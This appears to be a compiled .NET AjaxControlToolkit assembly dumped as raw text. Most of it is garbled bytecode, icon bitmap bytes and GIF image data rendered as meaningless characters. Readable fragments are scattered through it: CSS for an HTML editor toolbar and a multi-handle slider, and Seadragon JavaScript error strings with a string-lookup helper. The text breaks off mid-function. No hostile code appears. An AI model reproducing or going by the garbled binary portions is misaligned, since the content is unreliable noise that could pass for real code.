&oB
oC
&+rsD
	sD

	oE
oF
&
oE
oF
&(	- oB

oC
&oB
	oC
&+oB
	oC
&oB

oC
&(?	s(	o�
ob
o�
ob
o�
+s
(?	
ob
o�
(C
r�p�	o
���(�
o�
{:-su
}:sc	

}@
}A{:
ov
*0��...r�pr�ps�
zs
snoA	(	(	3(	3(%	,o�
3B-?,<ow
u,/(x
,%s�

	(�
o�
oy
ob
	o�
o1	(	ob
o�
,o
snoB	o*(o
*(o
*0@{�{�{�{�{�{�{�(5	}�{�o
&*0��s"}�}�}�(z
9�(#	,|s#}�o{
}�s
}�}�(|
{�s}
-
�$s
o
{�o
&�
o�
([	�{�*ow
u�-
ow
u},6ow
u�
	-ow
t}o~

	{�{�(4	*ow
u9�ow
to
:�ow
t{�o
{�{�12{�+Yo
o
Y{�0�+0{�+Xo
o
X{�2�{�o
**i/�u0�(#	(P
,*(


(�
(C
r"�p�	(#	�������(�
(#	rV�p(@
o�

o�
(#	o�
	Y�o�
1.+	�	X�o�
o�
X	�iY2�+,	�iY+	�	Y�o�
o�
Y0�	Y�o�
o�
*F,r`�ps�
z*0��(#	
Y(�
s�
(

(�

	3*o
8o
/��	1��sa
s�
(�
o�
8�o
tC		o�

	o�
o�
,
~�
3
	o�

o�
	o�
(	(�
,*	o�
	o�
o�
o�
	o�
o�
o�
:s����u,o�
�~1o�
o�
�X�o�
:���u,o�
�YY �o�
>�o�
o�
,to�
o�
u�,��+lu�%
,
(C
(v
-O*,,oV
o�
,oV
o�
,(C
(�
**r��p(#	r��p(�
s�
z �3o�
o�
o�
o�
+p(�
~1o�
tT~1o�
(,	%X��o�
~?-�a	s�
�?~?o�
(�
-����o�
�*Adx�D�96NK}�^(
	,(|
(�
*0��-*(	u�
-!o	. .*(	u�
+(	u�
,r(	o�
o�
+9o
�g
-(�
t�(�
,(�
(k
o�
o�
-��u,o�
�*[F�0��QQ(	,(�
,*{3:�s5
o9
r޺prpos
o9
rcHpr\pos
sr�po�
o9
r!Jpr?Jpos
(%	-o9
r�qpr��pos
+(%	o�
Qob
o�
}3ob
o�
+{3r�poH
QQ{3t*(o
*0��u
-ݏo�
-	}��~{�(	3o�
Yo
+
o
(�
{�(#	o�

	,(	o�
u�,��X}�}��
{�o
&�*��
0a�s%}�o{

s
}�}�}�s}
�&s
o
{�o
&{�R{�*z(z
,(	(|
oE	*(o
*b,*{�{�oF	*0r�s'}�}�(z
,;o{

,1{�(L		-�(s�
o�
*{�oF	(|
*�oto	3oto
(	(|
oG	*(o
*b,*{�{�oH	*0��s)}�}�(z
,d(#	,\{�(M	o{

(9	,(#	��o�
	,	-�*s�
o�
*{�oH	(|
*(o
*�,*{�{�oI	{�(	*0��s+}�}�(z
,w{�-2..r�ps\
(	ob
oN
t[sx}�{�(L	o{

	,	-�,s�
o�
*{�oI	*01	ob
oM
Y
+ob
ob
oN
oM
Y
/�*0��u	
9�oC	o`
9�o_
(C
o�
o�
%,qr,�p(�
-6r:�p(�
-2rH�p(�
-/rR�p(�
-+r`�p(�
-'+.(=	*(>	*(<	*(;	*(:	**6~/(J	*6~.(J	*6~((J	*0M�ow
-(z
,oooqo3	-rn�ps�
z�
o�
([	�~0(J	*11u6~)(J	*6~+(J	*6~*(J	*6~-(J	*6~,(J	*0(�(d
og

,�	��o�
&*0n(-	(�
(z
,X(	.O(	ob
oM
/<(
,4(	o�
(	(	ob
(	oN
u[(7	*6(M	*0}-(	(,	Q+QP,	Po�
+si
Q(	,3-/si
QP(	(	oto
oy
o�
+QPot(7	*0>.4(�
(	o�
. (	o�
u[ssoD	�&�*::u0H�(	ob
oM
-.(	,%s

o?
o�
(	o�
oV
*(�
*&(>	*0�(V	
o�
*
*
*
*0�(V	
oV
*0V�
YE((+&ob
oN
t[*ob
ZoN
t[*r�pr�ps�
zZ{<,{<o�
**0V�QQ��Q��:�o

�i/*�Q�Q�i1�iY��QPP�i(�
*0B�(X	,3%
,.	r�p(�
-*�(C
(R
�(C
(R
(N	*{>*"}>*(Z	*N~:
([	(Y	*N~:
([	(Y	*�o8
o9
-*o8
o9
�C*No8
�Co;
*0eso
�(so
�)so
�*so
�+so
�,so
�-so
�.so
�/so
�0so
�1*(o
*(�
*{C*"}C*{D*"}D*vrp}Crp}D(o
*r!�p*(�*�(os(s(rrpo�
r+�p(w*b(rr;�po(y*(|*(*0S�s
rU�p(orU�po&%of
r[�p(@
o�
sr��p(or��po&%of
r��p(@
o�
sA
oT
r�qpr�7poU
oT
r�qpr�7poU
oT
rrpr�7poU
o9
rK)pr�qpos
sD

oB
	oC
&sG
	oE
oF
&ov
ob
o�
ob
o�
(o
(	rU�ps�
o�
(	r��ps�
o�
(*6r�p(+*6r�p(+*Fr�prp(+*6r�p(+*6r1�p(+*6r1�p(+*FrK�prp(+*6rK�p(+*(�*{E*{F*{G*{H*>{H(P
�*.(�	*�(
}E}F}G}H*r~I-rg�p(
�I~I*r~J-r��p(
�J~J*r~K-r��p(
�K~K*�~L-&(�	r@�po�
�L~L-rf�ps�
z~L*{M*"}M*"(�	*�(o
(�	o�
-u�-+}M*2{M��*0=�u!
(�	,*{M-
{M�*{M-*(�	o�	�*0	{M,(�	
(�
**f(�
,(�
*om
*.(�	�*���s�	�N��s�	�O��s�	�P*�~Q-&(�	ro�po�
�Q~Q-r��ps�
z~Q*{R*"}R*"(�	*�(o
(�	o�
-u�-+}R*2{R��*0=�u"
(�	,*{R-
{R�*{R-*(�	o�	�*0	{R,(�	
(�
**f(�
,(�
*om
*.(�	�*F��s�	�S*�~T-&(�	r��po�
�T~T-r�ps�
z~T*{U*"}U*"(�	*�(o
(�	o�
-u�-+}U*2{U��*0=�u#
(�	,*{U-
{U�*{U-*(�	o�	�*0	{U,(�	
(�
**f(�
,(�
*om
*.(�	�*V ���s�	�V*�~W-&(�	r��po�
�W~W-r��ps�
z~W*{X*"}X*"(�	*�(o
(�	o�
-u�-+}X*2{X��*0=�u$
(�	,*{X-
{X�*{X-*(�	o�	�*0	{X,(�	
(�
**f(�
,(�
*om
*.(�	�*���s�	�Y��s�	�Z*�~[-&(�	r��po�
�[~[-r"�ps�
z~[*{\*"}\*"(�	*z(o
(�	o�
-+}\*0-(�	r+�po�
{\�	o�

-*s�	*0-(�	r=�po�
{\�	o�

-*s�	*�(�	r=�po�
{\-+o�	�	o�
*�(�	rU�po�
{\�	o�
t�*�(�	rk�po�
{\�	o�
��*�(�	rk�po�
{\���	o�
*�~]-&(�	ru�po�
�]~]-r��ps�
z~]*{^*"}^*"(�	*z(o
(�	o�
-+}^*�(�	r��po�
{^�	o�
��*0((�	r��poz
{^�	o=

t *�~_-&(�	r��po�
�_~_-r�ps�
z~_*{`*"}`*"(�	*z(o
(�	o�
-+}`*0-(�	r�po�
{`�	o�

-*s�	*�~a-&(�	r1�po�
�a~a-r]�ps�
z~a*{b*"}b*"(�	*z(o
(�	o�
-+}b*�(�	rp�po�
{b�	o�
t�*�(�	rp�po�
{b�	o�
*�(�	rz�po�
{b�	o�
t�*0-(�	r��po�
{b�	o�

-*s�	*�(�	r��po�
{b�	o�
��*0-(�	r��po�
{b�	o�

-*s�	*�~c-&(�	r��po�
�c~c-r��ps�
z~c*{d*"}d*"(�	*z(o
(�	o�
-+}d*0-(�	r��po�
{d�	o�

-*s�	*0m�(�	r��poz
{d�	�(�	-+o�	���(�	-+o�	��o=

-*s�	*�~e-&(�	r
�po�
�e~e-r;�ps�
z~e*{f*"}f*"(�	*z(o
(�	o�
-+}f*0-(�	r��po�
{f�	o�

-*s�	*0-(�	rP�po�
{f�	o�

-*s�	*�(�	rP�po�
{f-+o�	�	o�
*0-(�	rZ�po�
{f�	o�

-*s�	*0-(�	rp�po�
{f�	o�

-*s�	*�(�	rp�po�
{f(�	-+o�	�	o�
*�(�	r~�po�
{f�	o�
��*�(�	r~�po�
{f���	o�
*0-(�	r��po�
{f�	o�

-*s�	*0;�(�	r��poz
{f�	���o=

-*s�	*0;�(�	r��poz
{f�	���o=

-*s�	*�~g-&(�	r��po�
�g~g-r
�ps�
z~g*{h*"}h*"(�	*z(o
(�	o�
-+}h*�(�	rp�po�
{h�	o�
t�*�(�	rp�po�
{h�	o�
*0-(�	rP�po�
{h�	o�

-*s�	*�(�	rP�po�
{h-+o�	�	o�
*�~i-&(�	r!�po�
�i~i-rQ�ps�
z~i*{j*"}j*"(�	*z(o
(�	o�
-+}j*�(�	rp�po�
{j�	o�
t�*�(�	rp�po�
{j�	o�
*�~k-&(�	rh�po�
�k~k-r��ps�
z~k*{l*"}l*"(�	*z(o
(�	o�
-+}l*0-(�	r��po�
{l�	o�

-*s
*0-(�	r��po�
{l�	o�

-*s
*�~m-&(�	r��po�
�m~m-r��ps�
z~m*{n*"}n*"(
*z(o
(
o�
-+}n*�(
r��po�
{n�	o�
��*01(
r��poz
{n�	
����o=
&*�(
r�poz
{n�	o=
&*�~o-&(�	r�po�
�o~o-r0�ps�
z~o*{p*"}p*"(
*z(o
(	
o�
-+}p*0-(	
r3�po�
{p�	o�

-*s
*�~q-&(�	rK�po�
�q~q-rq�ps�
z~q*{r*"}r*"(
*z(o
(
o�
-+}r*�(
rz�po�
{r�	o�
*0-(
r��po�
{r�	o�

-*s�	*�~s-&(�	r��po�
�s~s-r��ps�
z~s*{t*"}t*"(
*z(o
(
o�
-+}t*0-(
r3�po�
{t�	o�

-*s
*�(
r	�poz
{t�	o=
&*�(
r�poz
{t�	o=
&*R(�
t}z*2{zo�
*Jr!�p��o)
*2{zoX*Jrvp��o)
*2{zoR*Jrp��o)
*2{zoT*Jr.p��o)
*0x�s�

r!�prK�po(
,o�
&rvpry�po(
,o�
&rpr��po(
,o�
&r.pr��po(
,o�
&*03�{z(�
o�

,o�
,o�
o�
s�
**0/�{z(�
o�

-r��ps�
z{zo�
*(�
*(�
*(�
*0,�{�-}�oE

,(F
}�{�*�(-
,
(-
o�
-(�
*(*�(�
(-
,
(-
o�
-*oE
(*�(�
(-
,
(-
o�
-*(*�(-
,
(-
o�
-(�
*�:(=
(*(�
*oA
*(L
*"(�
*Nr��p(
(�*(*(�*:(�
}�*{�*{�*"}�*(
*(o
*~�*{�*"}�*{�*"}�*J{�~�(�
*0a�
(M
%
,To�
o�
o�
+&o
t�{�o�
,o�
o
o�
-��u
	,	o�
�*2O0b�
(M
%
,Uo�
o�
o�
+'o
t�(D
o�
,o�
o
o�
-��u
	,	o�
�*3P0F�-r�ps
z~:
(�
,r-�ps
z
(M
%
,o�
(D
o�
*0M�-r-�ps
z
(M
%
,1o�
(D
o
,o�
(D
o
ux,**0B�-r-�ps
z
(M
%
,"o�
(D
o
ux,o�
*~:
*0B�-r-�ps
z
(M
%
,"o�
(D
o
ux,o�
*~:
*0Z�-r-�ps
z
(M
%
,>o�
(D
o
,(o�
(D
o
ux,*rA�ps�
z**0��s�

(M
%9�o�
o�
o�
+Mo
t�{�o�
,2(	
o�
o
, (	
o�
o
ux
	,	o�
o�
-��u,o�
�*'Z�n(	
,(	
o�
,(	
**.rW�p��*.s>
��*(o
*(�
*(
*j(
}�ob
o�
*{�*"}�*Fr_�prp(+*6r_�p(+*6r�p(+*6r�p(+*6r�p(+*6r�p(+*6r�p(H+*6r�p(I+*6r��p(	+*6r��p(
+*J|�r�p(�*N|�r�p(�*J|�r�p(�*N|�r�p(�*�(�{�(�{�(�*(�*(�
*Fr��p~:
(+*6r��p(+*(�*6rS(p(+*6rS(p(+*:rc(pd(+*6rc(p(+*Fr7p �(+*6r7p(+*6r�6p(+*6r�6p(+*6r��p(	+*6r��p(
+*6r��p(^+*6r��p(_+*6r�6p(%+*6r�6p(&+*6r7p(	+*6r7p(
+*6r��p(	+*6r��p(
+*6r�p(	+*6r�p(
+*6r=�p(	+*6r=�p(
+*6rg7p(	+*6rg7p(
+*6rS�p(	+*6rS�p(
+*6ru�p(+*6ru�p(+*6r��p(`+*6r��p(a+*6r�6p(	+*6r�6p(
+*6r��p(	+*6r��p(
+*6r��p(	+*6r��p(
+*Fr
�p"���=(+*6r
�p(+*FrO7p~:
(+*6rO7p(+*Fr�Qp~:
(+*6r�Qp(+*Fr=�p~:
(+*6r=�p(+*FrW�p~:
(+*6rW�p(+*Fr{�p~:
(+*6r{�p(+*Fr��p~:
(+*6r��p(+*Fr��p~:
(+*6r��p(+*:(�(�*Fr�6p~:
(+*6r�6p(+*6r�6p(+*6r�6p(+*Frq6p~:
(+*6rq6p(+*Fr96p~:
(+*6r96p(+*FrS6prp(+*6rS6p(+*Nr��p(
(�*(*F�6(=
o�
*(�
*:(
}�*{�**{��*�s�
��s�
��~���*�Ю(=
3rp*(�
*(�
*{�*V(o
}�}�*(o
*J{�o�
(�
*0��(�
(�

{�9�{��i>�s�
8`s-		o�
}�	{�o�
��(=
o>
t�
	9 	{�o�
�N(=
o>
tN9�o�
9�{�	�.s�
(b+@�	{�o�
��(=
o>
t�	{�o�
��(=
o>
,Ao�
-8Ў(=
o�
�H

o�
�
o�
s�
		{�o�
	{��
~�
��(�
}�	{�o�
Xo�
?����o�
s�

*2(�
(<
*2(�
(�
*2(�
(�
*2(�
(x
*2(�
(�
*2(�
(�
*6(�
(�
*6(�
(�
*2(�
(�
*2(�
(�
*(�
*(
*�(��R(=
r��pr9�p(�
(�
*0�(�
(P
:�(�
(�u

-rE�ps�
zo�
(�
(�
,r��ps�
zo�(P
,o�(P
,r��ps�
zo�(P
,
o�(P
-r1�ps�
zs�
o�
r��p(@
o�
o9
r\pok
ob
o�
o�
o�
oE
o
(�rpor
(�
*Fr��prp(+*6r��p(+*Fr�p~:
(+*6r�p(+*6r �p(	+*6r �p(
+*FrH�p~:
(+*6rH�p(+*Frp�p~:
(+*6rp�p(+*(�*(�
*6o�
{�*Jo�
{�of
*No�
{�o�
*{�*"}�*6o�
{�*Jo�
{�of
*No�
{�o�
*{�*"}�*6o�
(b
*0�bob
o
s�}�{�(C
r��p�	
o�
�(�
o�
ob
{�o�
s�}�{�(C
r��p�	o�
�(�
o�
ob
{�o�
{�o�{�,{�{�o�
{�,{�{�o�
*�o�
(H
%-&{�oH
%-
&{�oH
***(
*:(�(�*0N(��U(=
r��pr9�p(�
oE
o
o
(�
(�
,+ra)p(�*Fr��prp(+*6r��p(+*Fr�prp(+*6r�p(+*Nr>�p(
(�*(*Nr\�p(
(�*(*Jrp}�(o
*�rp}�(o
}�}�*{�*"}�*{�*"}�*�rl�p}�s?
}�s�
}�(o	*{�*"}�*0��r"mps�

r"mps�
sA
oT
r�qpr�7poU
oT
r�qpr�7poU
oT
rrprx�poU
sD

oB
	oC
&sG
	oE
oF
&ov
ob
o�
ob
r|�p(s�
o�
ob
rN�ps�
o�
sG
	oE
oF
&ov
{�o9
rK)pr��pos
{� �o-
ob
{�o�
sD

oB
	oC
&sG
	oE
oF
&ov
ob
o�
ob
r��p(s�
o�
ob
rN�ps�
o�
sG
	oE
oF
&ov
{�o�
rK)pr��pos
{�o�
r��pr��p(
r��ps
ok
{�o�
r��pr��p(
rl�ps
ok
{�o�
r��pr��p(
r��ps
ok
{�o�
r��pr��p(
r��ps
ok
ob
{�o�
(o
(r�p{�s�
o�
(r�p{�s�
o�
(p	*0H{�oT
rpp{�o?
oU
{�o�
rpp{�o?
oU
(*f(r�p(�
o�
*0Q
({
o�
9;Њ(=
o�
t�9r�,prI�po_

+	o�

	oX
,1	oX
1(	o
rI�p(�
-�	o
r2�p(�
-�o�
o�
,	(�

+z(�
o�
(�
r�,prI�po_
+o�
oX
,4oX
1*o
rI�p(�
-�o
r2�p(�
-�(�
	(�

(�
o�
o�
r�,prI�po_

o
,
*(�
*(�
*2({
tR*0�g s�

(C
s�
s�
1r��poi
(�
oE
o
�R(=
r6�po
oi
6o�
o�
(�
o�(�
oV
ou
*&-(E*0�U(F(T
r�-po?
oU
(T
r�8pr�7poU
(T
r9pr�7poU
(T
r9pr�7poU
oE
(�,(T
r|pr59poU
(9
(g

�Jou
oO
*(�
*(�
*0�(�
t
o%
o&
�go%
oY
(�
o%
oX
o%
oZ
(�

	r��po�
s�
o�
r��ps!
%�s�
o�
rF�prV�p(�
*0Fou

o�
(�
oE
o
(V
o�
rb
po�
o�
o
o_

*
*0&7st

(�
ov
({
s
o}
&*(�
*(�
*B(\
}�*{�*6   �& h�( @ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������}}~��������������������������������}}~������������������������������������}}~�}}~��������������������������������}}~�}}~������������������������������}}~�}}~�}}~��������������������������������}}~�}}~�}}~������������������������}}~�}}~�}}~�}}~��������������������������������}}~�}}~�}}~�}}~������������������������}}~�}}~�}}~��������������������������������}}~�}}~�}}~������������������������������}}~�}}~��������������������������������}}~�}}~������������������������������������}}~������������������y�}@�}@�}@�}@���y�����������������}}~����������������������������������������������������������ۼ��ŕ�v���h�}�Z�q��ȡ������������������������������������������������������������������������������~���o���a�v�S�k��ǟ������������������������������������������������������������������������������������������Ț�|���n���`�v��˦�������������������������������������������������ʰ����������������������Х��ǘ�{���l����Ь��ˤ��Ǟ��˜��Ø�����������y��{b��������������������ݺ��կ��ϣ��Ƙ�y���j��\�s�O�h�Q�i�OI3��xj��xj�}@��g��ޯ�������������������ܸ��խ��΢��Ɩ�w���k���h�|�OI3��|o��xj��x3���k�����������������������۷��Ԭ��͡��Ŕ��Ò�anR��������������y5���p���������߰�������������������ڶ��ӫ��Ϧ�hxZ�ϼ������춙�����z8���u����������q��ް�����������������ݺ�x�t�ή��eO?�eO?�ذ��������{;���{��������������q��ް����������������hxZ�����ϼ��ɴ��Ĭ���¡��}@����������������������q�������������hxZ�����������κ��Ȳ��ë��ʧ��}@��������������������������q���q���q���q����������������̹��DZ��©�ʧ��}@����������������������������������������������� S�Q�ѱ���Ư�ʧ��}@�â�������������������������������������������0^�r���D��Q��ʵ�ҭ��~B"�ť���������������������������������������������1`���r��� S��λ�ٳ��D$�ǧ��������������������������������������������������1`�0_�������޷��F&�ɪ�����������������������������������������������������������������G(�ɪ��ɪ��Ȩ��ƥ��Ģ����������������|���x���s���n���i��~e��za��v\��rY��pU��mR��kP��������������������������������?�?�?�?�?�?�?�?�?�?�?�?�?�?�?��������(  ��������������������������������������������������������������������������������������������������������������}}~����������|=�{;�����������}}~�������������������}}~�}}~����������4�Q�"�A�����������}}~�}}~�������������������}}~����������N�f�5�Q�����������}}~���������������������������������_�u�H�a���������������������������������������������wÉ��œ����������������������������������������������������ː���������������������������������������������q��ް���h^J�ؽ������������Ǫ�ӽ��ä�����ä���������������q���q�����������й��ʰ��Ũ�¡��|=� �������������������������� S�Q�ѱ���ʰ�ʧ��}@�Ʀ�������������������������0^�r���D��Q��й�ҭ��~B"�ɪ��������������������������1`���r��� S����ٳ��D$�ɪ�����������������������������1`�0_�������޷��F&�ɪ���������������������������������������������G(�ɪ��ɪ��ɪ��ɪ��Ʀ�� ��������|���s���j��{b��u[��oT��kP��������~�~�~�~������������/* base layout */
.ajax__htmleditor_editor_base .ajax__htmleditor_editor_container
{
	border-collapse: separate;
	empty-cells: show;
	width:100%;
	height:100%;
}
.ajax__htmleditor_editor_base .ajax__htmleditor_editor_toptoolbar
{
	cursor:text;
}
.ajax__htmleditor_editor_base .ajax__htmleditor_toolbar_button
{
	height: 21px; white-space: nowrap; border-width: 0px; padding:0px; cursor:pointer; float:left;
}
.ajax__htmleditor_editor_base img.ajax__htmleditor_toolbar_button
{
	width: 23px;
}
.ajax__htmleditor_editor_base div.ajax__htmleditor_toolbar_button span.ajax__htmleditor_toolbar_selectlable
{
    padding:0px 2px; vertical-align:middle; cursor:text;
}
.ajax__htmleditor_editor_base div.ajax__htmleditor_toolbar_button select.ajax__htmleditor_toolbar_selectbutton
{
    vertical-align:middle; padding:0px; margin:0px; height: 20px; width:120px;
}
.ajax__htmleditor_editor_base div.ajax__htmleditor_toolbar_button select.ajax__htmleditor_toolbar_selectbutton option
{
    vertical-align:middle;
}
.ajax__htmleditor_editor_base .ajax__htmleditor_editor_editpanel
{
	height:100%;
}
.ajax__htmleditor_editor_base .ajax__htmleditor_editor_bottomtoolbar
{
	cursor:text;
}

/* default theme */
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_container
{
	border: 1px solid #C2C2C2;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_toptoolbar
{
	background-color:#F0F0F0; padding: 0px 2px 2px 2px;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_toptoolbar .ajax__htmleditor_toolbar_button
{
	background-color:#C2C2C2; margin:2px 0px 0px 0px;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_toptoolbar .ajax__htmleditor_toolbar_button_hover
{
	background-color:#3C8AFF;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_toptoolbar div.ajax__htmleditor_toolbar_button span.ajax__htmleditor_toolbar_selectlable
{
    font-family:Arial; font-size:12px; font-weight:bold;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_toptoolbar div.ajax__htmleditor_toolbar_button select.ajax__htmleditor_toolbar_selectbutton
{
    font-size:12px; font-family:arial; cursor:pointer;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_toptoolbar div.ajax__htmleditor_toolbar_button select.ajax__htmleditor_toolbar_selectbutton option
{
    font-size:12px;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_editpanel
{
	border-width: 0px;
	border-top: 1px solid #C2C2C2;
	border-bottom: 1px solid #C2C2C2;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_bottomtoolbar
{
	background-color:#F0F0F0; padding: 0px 0px 2px 2px;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_bottomtoolbar .ajax__htmleditor_toolbar_button
{
	background-color:#C2C2C2; margin:0px 4px 0px 0px;
}
.ajax__htmleditor_editor_default .ajax__htmleditor_editor_bottomtoolbar .ajax__htmleditor_toolbar_button_hover
{
	background-color:#3C8AFF;
}
U.ajax__multi_slider_default .outer_rail_vertical{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_v_rail_outer.gif")%>) repeat-y;width:22px;height:150px;}
.ajax__multi_slider_default .inner_rail_vertical{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_v_rail.gif")%>) repeat-y;width:22px;z-index:100;}
.ajax__multi_slider_default .inner_rail_horizontal{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_h_rail.gif")%>) repeat-x;height:22px;z-index:100;}
.ajax__multi_slider_default .outer_rail_horizontal{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_h_rail_outer.gif")%>) repeat-x;height:22px;width:150px;}
.ajax__multi_slider_default .handle_horizontal{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_h_handle.gif")%>) no-repeat;height:22px;width:10px;z-index:200;}
.ajax__multi_slider_default .handle_horizontal_hover{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_h_handle_hover.gif")%>) no-repeat;height:22px;width:10px;z-index:200;}
.ajax__multi_slider_default .handle_horizontal_down{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_h_handle_down.gif")%>) no-repeat;height:22px;width:10px;z-index:200;}
.ajax__multi_slider_default .handle_vertical{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_v_handle.gif")%>) no-repeat;height:10px;width:22px;z-index:200;}
.ajax__multi_slider_default .handle_vertical_hover{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_v_handle_hover.gif")%>) no-repeat;height:10px;width:22px;z-index:200;}
.ajax__multi_slider_default .handle_vertical_down{position:absolute;background:url(<%=WebResource("AjaxControlToolkit.MultiHandleSlider.Images.slider_v_handle_down.gif")%>) no-repeat;height:10px;width:22px;z-index:200;}�GIF89a��������������������������������������������������������������������������������������������������ߓ�η�����������ƿ�����������������������������������������������������������)^��������������!�X,��X������ !������"%()������&,36������+5;������;AC������6F������;D
I��VR��K�I�G
J�JMRVPPQ�W�J�L�L�O�V�S�L�9
��N�VURT��aB���0���m;���r�B�
�$P����G@���#CQ���öw��QE8l��ä�0�����	#D�ԁD���bcƋ)N�4"�<��[	;pԘ1 � 3;tr�H#G�)BdH�z��!(�� w��J��ב�|�8 G#	�-��Y����;GIF89a��������������������������������������������������������������������������������������������������������������������������������������������������X��y�ڝ���۾����������;n�i����Ӛ�ܗ�Ң�ݨ���������������)^�+`�2e�4g�6i�6h�8j�?o�P}�Z��f��l��w��~�ɢ�ڨ�߷�숫̧�ݩ�߱����������������!�v,��v������������ $'(������%+.1������*05������59:�:JPQ8����1>�H\[[aS��˂5;BBA`��\jBL@�܂?
CCV[eonf[^Yd���DDR[msZZi\][q���4���la�$�b��A���@;
D�@�—1I6h(�D�	"D�:ٲ��U�СsĂ
A�s�'gd�X��	8hАA�
FY|BseF�V�(!"TAD��c�
X_
ܨ��(L��4l��cI��ʀ�B@A'\�\`?|��CGlԠ!���;p@ُ̜u( HF&�͛"��	;�GIF89a�����������������������������������������������������������������������������������������������������������������������������������h��}��v�ׇ�とה������:l�K{�Jx�Ly�\��d��g��v�Ì�Ϙ�ޤ�뗵ב�ϒ�ϝ�پ���٣��������)^�3f�4g�?o�V��V��W��b����Ѕ�ʎ�ϩ�������������������������!�r,��r������������!$%������"(+.������'-2������256������.9�M[[^QK\[H���27;�;e[doZf[qo�Ђ:
<�<R�m<VIq���=�=S�=Wap��08���/l*D ��&T��Z?��� AB5x0��
�l�%h0\�@a�A$��T�Ė.c����
d
���g�OC�la��
"@|0*(�O]��A�Ț8i��X��D�#M}(!�E������
*�Xc@�7�(^����2bR��:|8�L��8n�(P@Ћ9L������ɞ;�GIF89a����}}~jjk��������������������������ƽ�������������������������������������������������������������������������������������������������iii333���!�0,�@�pH,���r�l
���3JUN��+��2�����Q_��0�L�ފ��u8��ua�I�^!///k r���  k�*&�/-/(%/
�/�0 "ro,$o+k���k�����k�����k�����k����������G��A;�GIF89a����������������������������������������������������������������������������������������������������������������������������������������������r�Lj������������������R}�Py�c��b��e��m��z�¦������� S�Ft�Ht�Q|�V�p��������������ҽ������������!�i,��i������������#&'������$),.������(-2������27:������.>��9RXXQS�ǂ2<@��JXZhab�΂?
A��GX]fK���B��^XcgL��0�	�NXhIH��	b���	.`Ѐ%�"(L� !�<�`�"��#c��(H� ���N�xҮʊ#>t8�R�
1U��d*.�0A"��4�8��+W��)S�*P�(QB�^Ę1`V�:Fpؠ!�EV2�"F�<z����G:n0CFA+b���ׁ�~>��@A/n�8�/�i�/�:ĺu ;�GIF89a
�			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������,
����5K�+W�Z�u땪T�LmR$jX�U�N�ڔ��2y�މ|Gn�*e��|7nY*d�T�$��1�+K�"�re�R�b�\FʗЙ�D�)r��P�p�l	jWϙ�<�*��'\R�.�d�hSe�h�e�L���l/��JR��P�,-*�'0u}��h��;l�ܑ��N�9q�i�( ;*GIF89a���������������ض��������������������������������������������������!�	 ,GA(P��Zh0�	^�xa"�
"R�q„� D|� �,�� AD"8р��D�@@;5GIF89a��������!�,��-;�	Type.registerNamespace('AjaxControlToolkit');
Type.registerNamespace('Seadragon');
AjaxControlToolkit.Seadragon.Strings = {
    Errors: {
        Failure: "Sorry, but Seadragon Ajax can't run on your browser!\n" +
                    "Please try using IE 7 or Firefox 3.\n",
        Dzc: "Sorry, we don't support Deep Zoom Collections!",
        Dzi: "Hmm, this doesn't appear to be a valid Deep Zoom Image.",
        Xml: "Hmm, this doesn't appear to be a valid Deep Zoom Image.",
        Empty: "You asked us to open nothing, so we did just that.",
        ImageFormat: "Sorry, we don't support {0}-based Deep Zoom Images.",
        Security: "It looks like a security restriction stopped us from " +
                    "loading this Deep Zoom Image.",
        Status: "This space unintentionally left blank ({0} {1}).",
        Unknown: "Whoops, something inexplicably went wrong. Sorry!"
    },

    Messages: {
        Loading: "Loading..."
    },

    Tooltips: {
        FullPage: "Toggle full page",
        Home: "Go home",
        ZoomIn: "Zoom in",
        ZoomOut: "Zoom out"
    },
    getString: function(prop) {
        var props = prop.split('.');
        var string = AjaxControlToolkit.Seadragon.Strings;

        // get property, which may contain dots, meaning subproperty
        for (var i = 0; i < props.length; i++) {
            string = string[props[i]] || {};    // in case not a subproperty
        }

        // in case the string didn't exist
        if (typeof (string) != "string") {
            string = "";
        }

        // regular expression and lambda technique from:
        // http://frogsbrain.wordpress.com/2007/04/28/javascript-stringformat-method/#comment-236
        var args = arguments;
        return string.replace(/\{\d+\}/g, function(capture) {
            var i = parseInt(capture.match(/\d+/)) + 1;
            return i < args.length ? args[i] : "";
        });
    },

    setString: function(prop, value) {
        var props = prop.split('.');
        var container = Seadragon.Strings;

        // get property's container, up to but not after last dot
        for (var i = 0; i < props.length - 1; i++) {
            if (!container[props[i]]) {
                container[props[i]] = {};
            }
            container = container[props[i]];
        }

        container[props[i]] = value;
    }

}
Seadragon.Strings = AjaxControlToolkit.Seadragon.Strings;


�
Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');
AjaxControlToolkit.Seadragon.Config = function() {

    this.debugMode = true;
